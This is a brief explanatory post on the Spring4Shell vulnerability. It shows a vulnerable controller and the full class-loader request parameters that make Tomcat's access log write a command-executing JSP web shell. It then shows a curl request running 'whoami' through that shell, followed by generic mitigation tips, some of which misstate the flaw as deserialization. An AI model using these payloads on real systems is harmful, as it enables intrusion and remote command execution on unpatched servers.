Credit: LunaSec https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
$ curl 'https://tenendo.com:8080/spring4shell?class.module.classLoader.resources.context.parent.pipeline.first.pattern=test'
$ # wait, what?
ModelAttribute example:
public class Greeting {
private long id;
public long getId() {
return id;
}
public void setId(long id) {
this.id = id;
}
}
@Controller
public class HelloController {
@PostMapping("/greeting")
public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
return "hello";
}
}
Class injection exploitation example:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
a series of requests result in the creation of shell.jsp
log with the following logging pattern:
%{prefix}i java.io.InputStream in = %{c}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %{suffix}i
curl https://tenendo.com:8080/shell.jsp?cmd=whoami
Mitigation:
- do not use deserialization
- do not ever allow passing serialized data as arguments
- research how your parsers treat object creation, metadata and language extensions
- validate user input